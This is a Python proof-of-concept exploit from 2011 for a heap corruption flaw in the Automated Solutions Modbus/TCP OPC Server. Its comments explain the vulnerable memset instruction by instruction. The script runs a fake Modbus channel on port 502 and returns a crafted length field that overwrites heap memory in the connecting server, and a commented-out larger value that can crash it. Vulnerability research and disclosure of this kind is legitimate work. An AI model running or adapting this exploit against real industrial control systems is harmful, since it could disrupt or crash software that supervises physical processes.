Automated Solutions Modbus/TCP OPC Server – Remote Heap Corruption (PoC)
#!/usr/bin/python # asmb-heap.py # Automated Solutions Modbus/TCP OPC Server Remote Heap Corruption PoC # Jeremy Brown [0xjbrown41-gmail-com] # Jan 2011 # # A specially crafted length field in a MODBUS packet header can trigger heap corruption. # # 00408312 |> 8B5424 3C MOV EDX,DWORD PTR SS:[ESP+3C] -> move length into edx # 00408316 |. 53 PUSH EBX -> push src onto stack # 00408317 |. 8B5C24 3C MOV EBX,DWORD PTR SS:[ESP+3C] -> move dest into ebx # 0040831B |. 8BCA MOV ECX,EDX -> move length into ecx # 0040831D |. 55 PUSH EBP -> push ebp onto stack # 0040831E |. 8BE9 MOV EBP,ECX -> move ecx into ebp # 00408320 |. 57 PUSH EDI -> push edi onto stack # 00408321 |. 33C0 XOR EAX,EAX -> eax = 0 # 00408323 |. 8BFB MOV EDI,EBX -> move dest into edi # 00408325 |. 895C24 1C MOV DWORD PTR SS:[ESP+1C],EBX -> move ebx into dword at esp+1c # 00408329 |. C1E9 02 SHR ECX,2 -> shift ecx right twice # 0040832C |. F3:AB REP STOS DWORD PTR ES:[EDI] -> fill ecx dwords at edi with eax # # So basically memset(edi,eax,ecx). We control ecx, so we have control over the number of dwords # it writes in the heap buffer. But, as you can see, the dwords themselves are not controllable, # they are NULL. However, we can still write past the bounds of the allocated chunk of memory. # # Although it seems unlikely code execution could result, it is still possible to write data # past the memory allocated on a heap (0x350000) available in the server process. # # This code works by setting up a fake channel and accepting a connection. To trigger this # vulnerability, the server simply needs to initiate communication (monitor mode would be ideal) # with this fake channel and the results depend on the response you choose. # # I tested version 3 running on Windows. Testing the server with this code and its default # response should't cause the server to crash (immediately anyways). Larger lengths (such as # the one commented out) may cause the server to crash. # # Patch: http://automatedsolutions.com/demos/demoform.asp?code=17 # import sys import socket port=502 # [trans] [prot] [len] [u] [f] [bc] [data] resp="\x00\x00"+"\x00\x00"+"\x02\x01"+"\x00"+"\x03"+"\x02"+"\x00\x00" # break @ 40832c, dump edi, keep hitting f9 and watch (debug) #resp="\x00\x00"+"\x00\x00"+"\x02\xb0"+"\x00"+"\x03"+"\x02"+"\x00\x00" # Heap block at 0035F2D0 modified at 0035F4E7 past requested size of 20f try: sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM) sock.bind(("",port)) sock.listen(1) conn,addr=sock.accept() except IOError,e: print e print "OPC server at %s connected\n"%addr[0] req=conn.recv(32) print "<-- %s"%req.encode("hex") conn.send(resp) print "--> %s\n"%resp.encode("hex") conn.close() print "finished, check server" |